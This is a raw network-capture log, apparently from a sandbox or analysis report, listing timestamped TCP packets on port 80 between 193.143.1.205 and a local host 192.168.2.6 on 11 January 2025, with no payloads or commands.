Jan 11, 2025 08:21:26.809885979 CET	80	49721	193.143.1.205	192.168.2.6
Jan 11, 2025 08:21:26.809921026 CET	80	49721	193.143.1.205	192.168.2.6
Jan 11, 2025 08:21:26.809931993 CET	80	49721	193.143.1.205	192.168.2.6
Jan 11, 2025 08:21:26.809972048 CET	80	49721	193.143.1.205	192.168.2.6
Jan 11, 2025 08:21:26.810005903 CET	49721	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:21:26.810007095 CET	49721	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:21:26.810045004 CET	80	49721	193.143.1.205	192.168.2.6
Jan 11, 2025 08:21:26.810081959 CET	49721	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:21:26.838994026 CET	80	49721	193.143.1.205	192.168.2.6
Jan 11, 2025 08:21:26.839020967 CET	80	49721	193.143.1.205	192.168.2.6
Jan 11, 2025 08:21:26.839031935 CET	80	49721	193.143.1.205	192.168.2.6
Jan 11, 2025 08:21:26.839119911 CET	49721	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:21:26.839163065 CET	80	49721	193.143.1.205	192.168.2.6
Jan 11, 2025 08:21:26.839200974 CET	80	49721	193.143.1.205	192.168.2.6
Jan 11, 2025 08:21:26.839201927 CET	49721	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:21:26.839214087 CET	80	49721	193.143.1.205	192.168.2.6
Jan 11, 2025 08:21:26.839250088 CET	49721	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:21:26.839361906 CET	80	49721	193.143.1.205	192.168.2.6
Jan 11, 2025 08:21:26.839374065 CET	80	49721	193.143.1.205	192.168.2.6
Jan 11, 2025 08:21:26.839386940 CET	80	49721	193.143.1.205	192.168.2.6
Jan 11, 2025 08:21:26.839396954 CET	80	49721	193.143.1.205	192.168.2.6
Jan 11, 2025 08:21:26.839411974 CET	49721	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:21:26.839432955 CET	49721	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:21:26.852492094 CET	80	49721	193.143.1.205	192.168.2.6
Jan 11, 2025 08:21:26.852504015 CET	80	49721	193.143.1.205	192.168.2.6
Jan 11, 2025 08:21:26.852515936 CET	80	49721	193.143.1.205	192.168.2.6
Jan 11, 2025 08:21:26.852588892 CET	80	49721	193.143.1.205	192.168.2.6
Jan 11, 2025 08:21:26.852596045 CET	49721	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:21:26.852602959 CET	80	49721	193.143.1.205	192.168.2.6
Jan 11, 2025 08:21:26.852634907 CET	49721	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:21:26.868522882 CET	80	49721	193.143.1.205	192.168.2.6
Jan 11, 2025 08:21:26.868546963 CET	80	49721	193.143.1.205	192.168.2.6
Jan 11, 2025 08:21:26.868558884 CET	80	49721	193.143.1.205	192.168.2.6
Jan 11, 2025 08:21:26.868607998 CET	49721	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:21:26.868613958 CET	80	49721	193.143.1.205	192.168.2.6
Jan 11, 2025 08:21:26.868628025 CET	80	49721	193.143.1.205	192.168.2.6
Jan 11, 2025 08:21:26.868630886 CET	49721	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:21:26.868674040 CET	49721	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:21:26.868766069 CET	80	49721	193.143.1.205	192.168.2.6
Jan 11, 2025 08:21:26.868778944 CET	80	49721	193.143.1.205	192.168.2.6
Jan 11, 2025 08:21:26.868838072 CET	49721	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:21:26.868870020 CET	80	49721	193.143.1.205	192.168.2.6
Jan 11, 2025 08:21:26.868881941 CET	80	49721	193.143.1.205	192.168.2.6
Jan 11, 2025 08:21:26.868892908 CET	80	49721	193.143.1.205	192.168.2.6
Jan 11, 2025 08:21:26.868916988 CET	49721	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:21:26.876576900 CET	80	49721	193.143.1.205	192.168.2.6
Jan 11, 2025 08:21:26.876597881 CET	80	49721	193.143.1.205	192.168.2.6
Jan 11, 2025 08:21:26.876614094 CET	80	49721	193.143.1.205	192.168.2.6
Jan 11, 2025 08:21:26.876641989 CET	49721	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:21:26.876657009 CET	49721	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:21:26.877491951 CET	80	49721	193.143.1.205	192.168.2.6
Jan 11, 2025 08:21:26.877532005 CET	80	49721	193.143.1.205	192.168.2.6
Jan 11, 2025 08:21:26.877545118 CET	80	49721	193.143.1.205	192.168.2.6
Jan 11, 2025 08:21:26.877580881 CET	49721	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:21:26.877605915 CET	80	49721	193.143.1.205	192.168.2.6
Jan 11, 2025 08:21:26.877636909 CET	80	49721	193.143.1.205	192.168.2.6
Jan 11, 2025 08:21:26.877645016 CET	49721	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:21:26.877712965 CET	80	49721	193.143.1.205	192.168.2.6
Jan 11, 2025 08:21:26.877722979 CET	80	49721	193.143.1.205	192.168.2.6
Jan 11, 2025 08:21:26.877732992 CET	80	49721	193.143.1.205	192.168.2.6
Jan 11, 2025 08:21:26.877748966 CET	80	49721	193.143.1.205	192.168.2.6
Jan 11, 2025 08:21:26.877752066 CET	49721	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:21:26.877774000 CET	49721	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:21:26.877846003 CET	80	49721	193.143.1.205	192.168.2.6
Jan 11, 2025 08:21:26.877856970 CET	80	49721	193.143.1.205	192.168.2.6
Jan 11, 2025 08:21:26.877867937 CET	80	49721	193.143.1.205	192.168.2.6
Jan 11, 2025 08:21:26.877878904 CET	80	49721	193.143.1.205	192.168.2.6
Jan 11, 2025 08:21:26.877886057 CET	49721	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:21:26.877890110 CET	80	49721	193.143.1.205	192.168.2.6
Jan 11, 2025 08:21:26.877906084 CET	49721	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:21:26.877938986 CET	49721	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:21:26.878026009 CET	80	49721	193.143.1.205	192.168.2.6
Jan 11, 2025 08:21:26.878037930 CET	80	49721	193.143.1.205	192.168.2.6
Jan 11, 2025 08:21:26.878051043 CET	80	49721	193.143.1.205	192.168.2.6
Jan 11, 2025 08:21:26.878062010 CET	80	49721	193.143.1.205	192.168.2.6
Jan 11, 2025 08:21:26.878073931 CET	80	49721	193.143.1.205	192.168.2.6
Jan 11, 2025 08:21:26.878074884 CET	49721	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:21:26.878098965 CET	49721	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:21:26.878227949 CET	80	49721	193.143.1.205	192.168.2.6
Jan 11, 2025 08:21:26.878240108 CET	80	49721	193.143.1.205	192.168.2.6
Jan 11, 2025 08:21:26.878251076 CET	80	49721	193.143.1.205	192.168.2.6
Jan 11, 2025 08:21:26.878261089 CET	80	49721	193.143.1.205	192.168.2.6
Jan 11, 2025 08:21:26.878268003 CET	49721	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:21:26.878279924 CET	80	49721	193.143.1.205	192.168.2.6
Jan 11, 2025 08:21:26.878285885 CET	49721	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:21:26.878333092 CET	49721	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:21:26.878365993 CET	80	49721	193.143.1.205	192.168.2.6
Jan 11, 2025 08:21:26.878376961 CET	80	49721	193.143.1.205	192.168.2.6
Jan 11, 2025 08:21:26.878407001 CET	49721	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:21:26.878509998 CET	80	49721	193.143.1.205	192.168.2.6
Jan 11, 2025 08:21:26.878523111 CET	80	49721	193.143.1.205	192.168.2.6
Jan 11, 2025 08:21:26.878531933 CET	80	49721	193.143.1.205	192.168.2.6
Jan 11, 2025 08:21:26.878541946 CET	80	49721	193.143.1.205	192.168.2.6
Jan 11, 2025 08:21:26.878556013 CET	80	49721	193.143.1.205	192.168.2.6
Jan 11, 2025 08:21:26.878561020 CET	80	49721	193.143.1.205	192.168.2.6
Jan 11, 2025 08:21:26.878561974 CET	49721	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:21:26.878567934 CET	80	49721	193.143.1.205	192.168.2.6
Jan 11, 2025 08:21:26.878609896 CET	49721	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:21:26.878776073 CET	80	49721	193.143.1.205	192.168.2.6
Jan 11, 2025 08:21:26.878787041 CET	80	49721	193.143.1.205	192.168.2.6
Jan 11, 2025 08:21:26.878796101 CET	80	49721	193.143.1.205	192.168.2.6
Jan 11, 2025 08:21:26.878807068 CET	80	49721	193.143.1.205	192.168.2.6
Jan 11, 2025 08:21:26.878817081 CET	80	49721	193.143.1.205	192.168.2.6
Jan 11, 2025 08:21:26.878820896 CET	49721	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:21:26.878834009 CET	80	49721	193.143.1.205	192.168.2.6
Jan 11, 2025 08:21:26.878844976 CET	80	49721	193.143.1.205	192.168.2.6
Jan 11, 2025 08:21:26.878855944 CET	80	49721	193.143.1.205	192.168.2.6
Jan 11, 2025 08:21:26.878858089 CET	49721	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:21:26.878858089 CET	49721	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:21:26.878889084 CET	49721	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:21:26.879077911 CET	80	49721	193.143.1.205	192.168.2.6
Jan 11, 2025 08:21:26.879090071 CET	80	49721	193.143.1.205	192.168.2.6
Jan 11, 2025 08:21:26.879118919 CET	49721	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:21:26.879137039 CET	80	49721	193.143.1.205	192.168.2.6
Jan 11, 2025 08:21:26.879148960 CET	80	49721	193.143.1.205	192.168.2.6
Jan 11, 2025 08:21:26.879158974 CET	80	49721	193.143.1.205	192.168.2.6
Jan 11, 2025 08:21:26.879168987 CET	80	49721	193.143.1.205	192.168.2.6
Jan 11, 2025 08:21:26.879170895 CET	49721	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:21:26.879174948 CET	80	49721	193.143.1.205	192.168.2.6
Jan 11, 2025 08:21:26.879215002 CET	49721	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:21:26.879404068 CET	80	49721	193.143.1.205	192.168.2.6
Jan 11, 2025 08:21:26.879415035 CET	80	49721	193.143.1.205	192.168.2.6
Jan 11, 2025 08:21:26.879425049 CET	80	49721	193.143.1.205	192.168.2.6
Jan 11, 2025 08:21:26.879436970 CET	80	49721	193.143.1.205	192.168.2.6
Jan 11, 2025 08:21:26.879446983 CET	80	49721	193.143.1.205	192.168.2.6
Jan 11, 2025 08:21:26.879456997 CET	80	49721	193.143.1.205	192.168.2.6
Jan 11, 2025 08:21:26.879456997 CET	49721	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:21:26.879470110 CET	80	49721	193.143.1.205	192.168.2.6
Jan 11, 2025 08:21:26.879473925 CET	49721	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:21:26.879477024 CET	80	49721	193.143.1.205	192.168.2.6
Jan 11, 2025 08:21:26.879518032 CET	49721	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:21:26.879713058 CET	80	49721	193.143.1.205	192.168.2.6
Jan 11, 2025 08:21:26.879724979 CET	80	49721	193.143.1.205	192.168.2.6
Jan 11, 2025 08:21:26.879734993 CET	80	49721	193.143.1.205	192.168.2.6
Jan 11, 2025 08:21:26.879745960 CET	80	49721	193.143.1.205	192.168.2.6
Jan 11, 2025 08:21:26.879775047 CET	49721	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:21:26.879796028 CET	49721	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:21:26.879864931 CET	80	49721	193.143.1.205	192.168.2.6
Jan 11, 2025 08:21:26.879878044 CET	80	49721	193.143.1.205	192.168.2.6
Jan 11, 2025 08:21:26.879887104 CET	80	49721	193.143.1.205	192.168.2.6
Jan 11, 2025 08:21:26.879897118 CET	80	49721	193.143.1.205	192.168.2.6
Jan 11, 2025 08:21:26.879906893 CET	80	49721	193.143.1.205	192.168.2.6
Jan 11, 2025 08:21:26.879913092 CET	80	49721	193.143.1.205	192.168.2.6
Jan 11, 2025 08:21:26.879914045 CET	49721	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:21:26.879925966 CET	80	49721	193.143.1.205	192.168.2.6
Jan 11, 2025 08:21:26.879937887 CET	80	49721	193.143.1.205	192.168.2.6
Jan 11, 2025 08:21:26.879954100 CET	80	49721	193.143.1.205	192.168.2.6
Jan 11, 2025 08:21:26.879964113 CET	80	49721	193.143.1.205	192.168.2.6
Jan 11, 2025 08:21:26.879971027 CET	49721	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:21:26.879971027 CET	49721	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:21:26.879975080 CET	80	49721	193.143.1.205	192.168.2.6
Jan 11, 2025 08:21:26.879987955 CET	80	49721	193.143.1.205	192.168.2.6
Jan 11, 2025 08:21:26.879997015 CET	49721	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:21:26.880001068 CET	80	49721	193.143.1.205	192.168.2.6
Jan 11, 2025 08:21:26.880038023 CET	49721	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:21:26.880467892 CET	80	49721	193.143.1.205	192.168.2.6
Jan 11, 2025 08:21:26.880479097 CET	80	49721	193.143.1.205	192.168.2.6
Jan 11, 2025 08:21:26.880489111 CET	80	49721	193.143.1.205	192.168.2.6
Jan 11, 2025 08:21:26.880500078 CET	80	49721	193.143.1.205	192.168.2.6
Jan 11, 2025 08:21:26.880507946 CET	49721	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:21:26.880511045 CET	80	49721	193.143.1.205	192.168.2.6
Jan 11, 2025 08:21:26.880522966 CET	80	49721	193.143.1.205	192.168.2.6
Jan 11, 2025 08:21:26.880532980 CET	49721	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:21:26.880533934 CET	80	49721	193.143.1.205	192.168.2.6
Jan 11, 2025 08:21:26.880546093 CET	80	49721	193.143.1.205	192.168.2.6
Jan 11, 2025 08:21:26.880556107 CET	49721	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:21:26.880557060 CET	80	49721	193.143.1.205	192.168.2.6
Jan 11, 2025 08:21:26.880568981 CET	80	49721	193.143.1.205	192.168.2.6
Jan 11, 2025 08:21:26.880578041 CET	49721	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:21:26.880601883 CET	49721	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:21:26.880781889 CET	80	49721	193.143.1.205	192.168.2.6
Jan 11, 2025 08:21:26.880794048 CET	80	49721	193.143.1.205	192.168.2.6
Jan 11, 2025 08:21:26.880821943 CET	49721	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:21:26.902327061 CET	80	49721	193.143.1.205	192.168.2.6
Jan 11, 2025 08:21:26.902405977 CET	80	49721	193.143.1.205	192.168.2.6
Jan 11, 2025 08:21:26.902415991 CET	80	49721	193.143.1.205	192.168.2.6
Jan 11, 2025 08:21:26.902426004 CET	49721	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:21:26.902457952 CET	80	49721	193.143.1.205	192.168.2.6
Jan 11, 2025 08:21:26.902483940 CET	49721	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:21:26.902506113 CET	80	49721	193.143.1.205	192.168.2.6
Jan 11, 2025 08:21:26.902519941 CET	80	49721	193.143.1.205	192.168.2.6
Jan 11, 2025 08:21:26.902546883 CET	49721	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:21:26.902630091 CET	80	49721	193.143.1.205	192.168.2.6
Jan 11, 2025 08:21:26.902641058 CET	80	49721	193.143.1.205	192.168.2.6
Jan 11, 2025 08:21:26.902672052 CET	49721	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:21:26.931564093 CET	80	49721	193.143.1.205	192.168.2.6
Jan 11, 2025 08:21:26.931593895 CET	80	49721	193.143.1.205	192.168.2.6
Jan 11, 2025 08:21:26.931607008 CET	80	49721	193.143.1.205	192.168.2.6
Jan 11, 2025 08:21:26.931659937 CET	49721	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:21:26.931680918 CET	49721	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:21:26.931729078 CET	80	49721	193.143.1.205	192.168.2.6
Jan 11, 2025 08:21:26.931741953 CET	80	49721	193.143.1.205	192.168.2.6
Jan 11, 2025 08:21:26.931788921 CET	80	49721	193.143.1.205	192.168.2.6
Jan 11, 2025 08:21:26.931801081 CET	80	49721	193.143.1.205	192.168.2.6
Jan 11, 2025 08:21:26.931804895 CET	49721	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:21:26.931813955 CET	80	49721	193.143.1.205	192.168.2.6
Jan 11, 2025 08:21:26.931838036 CET	49721	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:21:26.939980984 CET	80	49721	193.143.1.205	192.168.2.6
Jan 11, 2025 08:21:26.939997911 CET	80	49721	193.143.1.205	192.168.2.6
Jan 11, 2025 08:21:26.940010071 CET	80	49721	193.143.1.205	192.168.2.6
Jan 11, 2025 08:21:26.940063953 CET	49721	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:21:26.940080881 CET	80	49721	193.143.1.205	192.168.2.6
Jan 11, 2025 08:21:26.940094948 CET	80	49721	193.143.1.205	192.168.2.6
Jan 11, 2025 08:21:26.940104008 CET	49721	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:21:26.940107107 CET	80	49721	193.143.1.205	192.168.2.6
Jan 11, 2025 08:21:26.940121889 CET	80	49721	193.143.1.205	192.168.2.6
Jan 11, 2025 08:21:26.940140009 CET	49721	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:21:26.940166950 CET	49721	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:21:26.961074114 CET	80	49721	193.143.1.205	192.168.2.6
Jan 11, 2025 08:21:26.961107969 CET	80	49721	193.143.1.205	192.168.2.6
Jan 11, 2025 08:21:26.961118937 CET	80	49721	193.143.1.205	192.168.2.6
Jan 11, 2025 08:21:26.961148977 CET	49721	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:21:26.961308956 CET	80	49721	193.143.1.205	192.168.2.6
Jan 11, 2025 08:21:26.961321115 CET	80	49721	193.143.1.205	192.168.2.6
Jan 11, 2025 08:21:26.961333990 CET	80	49721	193.143.1.205	192.168.2.6
Jan 11, 2025 08:21:26.961344957 CET	80	49721	193.143.1.205	192.168.2.6
Jan 11, 2025 08:21:26.961350918 CET	49721	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:21:26.961369991 CET	49721	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:21:26.969208002 CET	80	49721	193.143.1.205	192.168.2.6
Jan 11, 2025 08:21:26.969219923 CET	80	49721	193.143.1.205	192.168.2.6
Jan 11, 2025 08:21:26.969232082 CET	80	49721	193.143.1.205	192.168.2.6
Jan 11, 2025 08:21:26.969254971 CET	49721	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:21:26.969273090 CET	49721	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:21:26.969337940 CET	80	49721	193.143.1.205	192.168.2.6
Jan 11, 2025 08:21:26.969348907 CET	80	49721	193.143.1.205	192.168.2.6
Jan 11, 2025 08:21:26.969361067 CET	80	49721	193.143.1.205	192.168.2.6
Jan 11, 2025 08:21:26.969372988 CET	80	49721	193.143.1.205	192.168.2.6
Jan 11, 2025 08:21:26.969391108 CET	49721	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:21:26.969404936 CET	49721	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:21:26.970458984 CET	80	49721	193.143.1.205	192.168.2.6
Jan 11, 2025 08:21:26.970591068 CET	80	49721	193.143.1.205	192.168.2.6
Jan 11, 2025 08:21:26.970602989 CET	80	49721	193.143.1.205	192.168.2.6
Jan 11, 2025 08:21:26.970624924 CET	49721	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:21:26.970724106 CET	80	49721	193.143.1.205	192.168.2.6
Jan 11, 2025 08:21:26.970737934 CET	80	49721	193.143.1.205	192.168.2.6
Jan 11, 2025 08:21:26.970772028 CET	49721	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:21:26.970784903 CET	80	49721	193.143.1.205	192.168.2.6
Jan 11, 2025 08:21:26.970815897 CET	49721	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:21:26.970879078 CET	80	49721	193.143.1.205	192.168.2.6
Jan 11, 2025 08:21:26.970890045 CET	80	49721	193.143.1.205	192.168.2.6
Jan 11, 2025 08:21:26.970901012 CET	80	49721	193.143.1.205	192.168.2.6
Jan 11, 2025 08:21:26.970911026 CET	80	49721	193.143.1.205	192.168.2.6
Jan 11, 2025 08:21:26.970921993 CET	49721	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:21:26.970923901 CET	80	49721	193.143.1.205	192.168.2.6
Jan 11, 2025 08:21:26.970943928 CET	49721	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:21:26.971132040 CET	80	49721	193.143.1.205	192.168.2.6
Jan 11, 2025 08:21:26.971143007 CET	80	49721	193.143.1.205	192.168.2.6
Jan 11, 2025 08:21:26.971153975 CET	80	49721	193.143.1.205	192.168.2.6
Jan 11, 2025 08:21:26.971158981 CET	49721	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:21:26.971168995 CET	80	49721	193.143.1.205	192.168.2.6
Jan 11, 2025 08:21:26.971187115 CET	49721	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:21:26.971194029 CET	80	49721	193.143.1.205	192.168.2.6
Jan 11, 2025 08:21:26.971204996 CET	80	49721	193.143.1.205	192.168.2.6
Jan 11, 2025 08:21:26.971215010 CET	80	49721	193.143.1.205	192.168.2.6
Jan 11, 2025 08:21:26.971220970 CET	49721	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:21:26.971225977 CET	80	49721	193.143.1.205	192.168.2.6
Jan 11, 2025 08:21:26.971237898 CET	80	49721	193.143.1.205	192.168.2.6
Jan 11, 2025 08:21:26.971246958 CET	80	49721	193.143.1.205	192.168.2.6
Jan 11, 2025 08:21:26.971256018 CET	49721	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:21:26.971266031 CET	49721	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:21:26.971684933 CET	80	49721	193.143.1.205	192.168.2.6
Jan 11, 2025 08:21:26.971698999 CET	80	49721	193.143.1.205	192.168.2.6
Jan 11, 2025 08:21:26.971709967 CET	80	49721	193.143.1.205	192.168.2.6
Jan 11, 2025 08:21:26.971721888 CET	80	49721	193.143.1.205	192.168.2.6
Jan 11, 2025 08:21:26.971729994 CET	49721	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:21:26.971745968 CET	49721	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:21:26.971951008 CET	80	49721	193.143.1.205	192.168.2.6
Jan 11, 2025 08:21:26.971961975 CET	80	49721	193.143.1.205	192.168.2.6
Jan 11, 2025 08:21:26.971971989 CET	80	49721	193.143.1.205	192.168.2.6
Jan 11, 2025 08:21:26.971982002 CET	49721	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:21:26.971982002 CET	80	49721	193.143.1.205	192.168.2.6
Jan 11, 2025 08:21:26.971996069 CET	80	49721	193.143.1.205	192.168.2.6
Jan 11, 2025 08:21:26.972006083 CET	80	49721	193.143.1.205	192.168.2.6
Jan 11, 2025 08:21:26.972007036 CET	49721	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:21:26.972017050 CET	80	49721	193.143.1.205	192.168.2.6
Jan 11, 2025 08:21:26.972028017 CET	80	49721	193.143.1.205	192.168.2.6
Jan 11, 2025 08:21:26.972035885 CET	49721	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:21:26.972039938 CET	80	49721	193.143.1.205	192.168.2.6
Jan 11, 2025 08:21:26.972070932 CET	49721	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:21:26.972071886 CET	49721	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:21:26.972672939 CET	80	49721	193.143.1.205	192.168.2.6
Jan 11, 2025 08:21:26.972683907 CET	80	49721	193.143.1.205	192.168.2.6
Jan 11, 2025 08:21:26.972690105 CET	80	49721	193.143.1.205	192.168.2.6
Jan 11, 2025 08:21:26.972695112 CET	80	49721	193.143.1.205	192.168.2.6
Jan 11, 2025 08:21:26.972755909 CET	49721	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:21:26.972868919 CET	80	49721	193.143.1.205	192.168.2.6
Jan 11, 2025 08:21:26.972881079 CET	80	49721	193.143.1.205	192.168.2.6
Jan 11, 2025 08:21:26.972891092 CET	80	49721	193.143.1.205	192.168.2.6
Jan 11, 2025 08:21:26.972901106 CET	80	49721	193.143.1.205	192.168.2.6
Jan 11, 2025 08:21:26.972912073 CET	80	49721	193.143.1.205	192.168.2.6
Jan 11, 2025 08:21:26.972919941 CET	49721	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:21:26.972923040 CET	80	49721	193.143.1.205	192.168.2.6
Jan 11, 2025 08:21:26.972937107 CET	80	49721	193.143.1.205	192.168.2.6
Jan 11, 2025 08:21:26.972943068 CET	49721	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:21:26.972948074 CET	80	49721	193.143.1.205	192.168.2.6
Jan 11, 2025 08:21:26.972958088 CET	49721	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:21:26.972980976 CET	49721	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:21:26.973040104 CET	80	49721	193.143.1.205	192.168.2.6
Jan 11, 2025 08:21:26.973052979 CET	80	49721	193.143.1.205	192.168.2.6
Jan 11, 2025 08:21:26.973063946 CET	80	49721	193.143.1.205	192.168.2.6
Jan 11, 2025 08:21:26.973073959 CET	80	49721	193.143.1.205	192.168.2.6
Jan 11, 2025 08:21:26.973083973 CET	80	49721	193.143.1.205	192.168.2.6
Jan 11, 2025 08:21:26.973090887 CET	49721	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:21:26.973093987 CET	80	49721	193.143.1.205	192.168.2.6
Jan 11, 2025 08:21:26.973117113 CET	49721	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:21:26.973129988 CET	49721	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:21:26.975842953 CET	80	49721	193.143.1.205	192.168.2.6
Jan 11, 2025 08:21:26.975855112 CET	80	49721	193.143.1.205	192.168.2.6
Jan 11, 2025 08:21:26.975864887 CET	80	49721	193.143.1.205	192.168.2.6
Jan 11, 2025 08:21:26.975900888 CET	49721	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:21:26.975996017 CET	80	49721	193.143.1.205	192.168.2.6
Jan 11, 2025 08:21:26.976008892 CET	80	49721	193.143.1.205	192.168.2.6
Jan 11, 2025 08:21:26.976020098 CET	80	49721	193.143.1.205	192.168.2.6
Jan 11, 2025 08:21:26.976025105 CET	80	49721	193.143.1.205	192.168.2.6
Jan 11, 2025 08:21:26.976031065 CET	49721	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:21:26.976058960 CET	49721	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:21:26.990020990 CET	80	49721	193.143.1.205	192.168.2.6
Jan 11, 2025 08:21:26.990041018 CET	80	49721	193.143.1.205	192.168.2.6
Jan 11, 2025 08:21:26.990051985 CET	80	49721	193.143.1.205	192.168.2.6
Jan 11, 2025 08:21:26.990071058 CET	49721	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:21:26.990109921 CET	49721	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:21:26.990120888 CET	80	49721	193.143.1.205	192.168.2.6
Jan 11, 2025 08:21:26.990194082 CET	80	49721	193.143.1.205	192.168.2.6
Jan 11, 2025 08:21:26.990206003 CET	80	49721	193.143.1.205	192.168.2.6
Jan 11, 2025 08:21:26.990227938 CET	49721	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:21:26.990282059 CET	80	49721	193.143.1.205	192.168.2.6
Jan 11, 2025 08:21:26.990293980 CET	80	49721	193.143.1.205	192.168.2.6
Jan 11, 2025 08:21:26.990304947 CET	80	49721	193.143.1.205	192.168.2.6
Jan 11, 2025 08:21:26.990313053 CET	49721	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:21:26.990340948 CET	49721	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:21:26.990374088 CET	80	49721	193.143.1.205	192.168.2.6
Jan 11, 2025 08:21:26.990386963 CET	80	49721	193.143.1.205	192.168.2.6
Jan 11, 2025 08:21:26.990421057 CET	49721	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:21:26.990457058 CET	80	49721	193.143.1.205	192.168.2.6
Jan 11, 2025 08:21:26.990468025 CET	80	49721	193.143.1.205	192.168.2.6
Jan 11, 2025 08:21:26.990478992 CET	80	49721	193.143.1.205	192.168.2.6
Jan 11, 2025 08:21:26.990499020 CET	49721	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:21:26.990590096 CET	80	49721	193.143.1.205	192.168.2.6
Jan 11, 2025 08:21:26.990601063 CET	80	49721	193.143.1.205	192.168.2.6
Jan 11, 2025 08:21:26.990612984 CET	80	49721	193.143.1.205	192.168.2.6
